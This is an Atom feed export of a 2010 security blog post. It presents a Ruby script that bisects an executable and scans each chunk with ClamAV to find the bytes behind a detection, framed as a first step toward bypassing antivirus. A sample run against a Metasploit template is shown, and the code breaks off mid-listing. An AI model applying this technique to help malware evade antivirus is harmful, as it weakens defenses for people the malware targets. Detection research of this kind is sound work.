<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7169594305396268349</id><updated>2012-01-04T10:08:27.866-08:00</updated><title type='text'>TechMeditation</title><subtitle type='html'>Some of my ideas on automation and security. Things I work with and things I like.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-30362361329812657</id><published>2010-02-26T14:23:00.000-08:00</published><updated>2010-02-26T15:01:59.919-08:00</updated><title type='text'>Zeroing in on an AV signature to bypass detection</title><content type='html'>I was watching some &lt;a href="http://infinityexists.com/2008/10/29/underground-downfalls-of-anti-virus-software/"&gt;InfinityExists&lt;/a&gt; videos yesterday talking about bypassing AV detection by modifying the executable itself. I thought of writing an automated file chopper which will zero-in on the part which AV is detecting to be malicious. That way I can directly analyze the offset and do not have to manually find it ( for the most part ).  &lt;br /&gt;&lt;br /&gt;Script has 2 phases:&lt;br /&gt;&lt;br /&gt;In Phase 1 it recursively chops up the files into smaller chunks divisible by 2 and figures out minimal set of bytes required to trigger AV. &lt;br /&gt;&lt;br /&gt;For example: &lt;br /&gt;&lt;br /&gt;Original File Size: 600&lt;br /&gt;Derived File Sizes: 600-&gt;300-&gt;150....&lt;br /&gt;Every chunk is scanned with ClamaV via Ruby library and the part that is "clean" is discarded.&lt;br /&gt;&lt;br /&gt;Phase 2 is taking the last successful AV detected file chunk and makes it even smaller by shrinking with predefined increment.&lt;br /&gt;&lt;br /&gt;File Size ( phase 1 ): 150&lt;br /&gt;Increment: 10&lt;br /&gt;Derivative File Sizes: 150-&gt;140-&gt;130 ... &lt;br /&gt;&lt;br /&gt;This way we can get closer to the actual piece triggering the AV.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sample Run with original file size of 37888 bytes and phase 2 increment of 100 bytes.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;dimas@appdev1:~/Code/vira$ ./chopfile.rb -f /tmp/msf3/data/templates/template.exe&lt;br /&gt;Positive: /tmp/X_0-18944: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/X_0-9472: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/X_0-4736: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/X_0-2368: Worm.Palevo-1&lt;br /&gt;&lt;br /&gt;        ======== G R A P H ===========&lt;br /&gt;                |X_0-18944&lt;br /&gt;                |-X_0-9472&lt;br /&gt;                |--X_0-4736&lt;br /&gt;                |---X_0-2368&lt;br /&gt;Positive: /tmp/XA_0-2268: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/XA_0-2168: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/XA_0-2068: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/XA_0-1968: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/XA_0-1868: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/XA_0-1768: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/XA_0-1668: Worm.Palevo-1&lt;br /&gt;Positive: /tmp/XA_0-1568: Worm.Palevo-1&lt;br /&gt;End of 100 chain&lt;br /&gt;&lt;br /&gt;        ======== G R A P H ===========&lt;br /&gt;                |XA_0-2268&lt;br /&gt;                |-XA_0-2168&lt;br /&gt;                |--XA_0-2068&lt;br /&gt;                |---XA_0-1968&lt;br /&gt;                |----XA_0-1868&lt;br /&gt;                |-----XA_0-1768&lt;br /&gt;                |------XA_0-1668&lt;br /&gt;                |-------XA_0-1568&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt; &lt;br /&gt;&lt;br /&gt;Some quick and dirty Ruby code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div bgcolor="#000000" text="#ffffff"&gt;&lt;font face="monospace"&gt;&lt;br /&gt;&lt;font color="#8080ff"&gt;&lt;b&gt;#!/usr/bin/env ruby&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;font color="#8080ff"&gt;&lt;b&gt;require&lt;/b&gt;&lt;/font&gt;&amp;nbsp;&lt;font color="#ff6060"&gt;&lt;b&gt;'&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;optparse&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;'&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;font color="#8080ff"&gt;&lt;b&gt;require&lt;/b&gt;&lt;/font&gt;&amp;nbsp;&lt;font color="#ff6060"&gt;&lt;b&gt;'&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;clamav&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;'&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;font color="#8080ff"&gt;&lt;b&gt;def&lt;/b&gt;&lt;/font&gt;&amp;nbsp;&lt;font color="#00ffff"&gt;&lt;b&gt;bin_chop&lt;/b&gt;&lt;/font&gt;(pos_A,pos_Z,fp)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload=&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;splitmark=(pos_Z-pos_A)/&lt;font color="#ff40ff"&gt;&lt;b&gt;2&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;if&lt;/b&gt;&lt;/font&gt;&amp;nbsp;splitmark &amp;lt;= &lt;font color="#ff40ff"&gt;&lt;b&gt;1&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;return&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;end&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi=&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.open(fp,&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;rb:binary&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi.sysseek(pos_A, &lt;font color="#00ff00"&gt;&lt;b&gt;IO&lt;/b&gt;&lt;/font&gt;::&lt;font color="#00ff00"&gt;&lt;b&gt;SEEK_SET&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi.sysread(splitmark,payload)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fc1=&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;/tmp/X_&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&amp;nbsp;+ pos_A.to_s + &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;-&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&amp;nbsp;+ splitmark.to_s&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fo=&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.open(fc1, &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;wb:binary&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fo.syswrite(payload)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fo.close&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cv=&lt;font color="#00ff00"&gt;&lt;b&gt;ClamAV&lt;/b&gt;&lt;/font&gt;.new(&lt;font color="#00ff00"&gt;&lt;b&gt;ClamAV&lt;/b&gt;&lt;/font&gt;::&lt;font color="#00ff00"&gt;&lt;b&gt;CL_SCAN_STDOPT&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result=cv.scanfile(fc1)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;if&lt;/b&gt;&lt;/font&gt;&amp;nbsp;( result != &lt;font color="#ff40ff"&gt;&lt;b&gt;0&lt;/b&gt;&lt;/font&gt;&amp;nbsp;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;Positive: &lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;#{&lt;/b&gt;&lt;/font&gt;fc1&lt;font color="#ff6060"&gt;&lt;b&gt;}&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;: &lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;#{&lt;/b&gt;&lt;/font&gt;result&lt;font color="#ff6060"&gt;&lt;b&gt;}&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cv=&lt;font color="#ff40ff"&gt;&lt;b&gt;nil&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi.close&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bin_chop(&lt;font color="#ff40ff"&gt;&lt;b&gt;0&lt;/b&gt;&lt;/font&gt;,&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.size(fc1),fc1);&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;else&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ffff"&gt;&lt;b&gt;# Negative - Delete!&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.delete(fc1)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload=&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi.sysread((pos_Z-splitmark),payload)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi.close&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fc2=&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;/tmp/X_&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&amp;nbsp;+ splitmark.to_s + &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;-&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&amp;nbsp;+ pos_Z.to_s&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fo=&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.open(fc2, &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;wb:binary&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fo.syswrite(payload)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fo.close&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cv=&lt;font color="#00ff00"&gt;&lt;b&gt;ClamAV&lt;/b&gt;&lt;/font&gt;.new(&lt;font color="#00ff00"&gt;&lt;b&gt;ClamAV&lt;/b&gt;&lt;/font&gt;::&lt;font color="#00ff00"&gt;&lt;b&gt;CL_SCAN_STDOPT&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result=cv.scanfile(fc2)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;if&lt;/b&gt;&lt;/font&gt;&amp;nbsp;( result != &lt;font color="#ff40ff"&gt;&lt;b&gt;0&lt;/b&gt;&lt;/font&gt;&amp;nbsp;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;Positive: &lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;#{&lt;/b&gt;&lt;/font&gt;fc2&lt;font color="#ff6060"&gt;&lt;b&gt;}&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;: &lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;#{&lt;/b&gt;&lt;/font&gt;result&lt;font color="#ff6060"&gt;&lt;b&gt;}&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cv=&lt;font color="#ff40ff"&gt;&lt;b&gt;nil&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bin_chop(&lt;font color="#ff40ff"&gt;&lt;b&gt;0&lt;/b&gt;&lt;/font&gt;,&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.size(fc2),fc2);&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;else&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ffff"&gt;&lt;b&gt;# Negative - Delete!&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.delete(fc2)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;end&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;end&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&lt;font color="#8080ff"&gt;&lt;b&gt;end&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;font color="#8080ff"&gt;&lt;b&gt;def&lt;/b&gt;&lt;/font&gt;&amp;nbsp;&lt;font color="#00ffff"&gt;&lt;b&gt;incr_chop&lt;/b&gt;&lt;/font&gt;(pos_A,pos_Z,fp,increment)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;payload=&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;splitmark=(pos_Z-increment)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi=&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.open(fp,&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;rb:binary&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi.sysseek(pos_A, &lt;font color="#00ff00"&gt;&lt;b&gt;IO&lt;/b&gt;&lt;/font&gt;::&lt;font color="#00ff00"&gt;&lt;b&gt;SEEK_SET&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi.sysread(splitmark,payload)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fc1=&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;/tmp/XA_&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&amp;nbsp;+ pos_A.to_s + &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;-&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&amp;nbsp;+ splitmark.to_s&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fo=&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.open(fc1, &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;wb:binary&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fo.syswrite(payload)&lt;br&gt;&lt;br 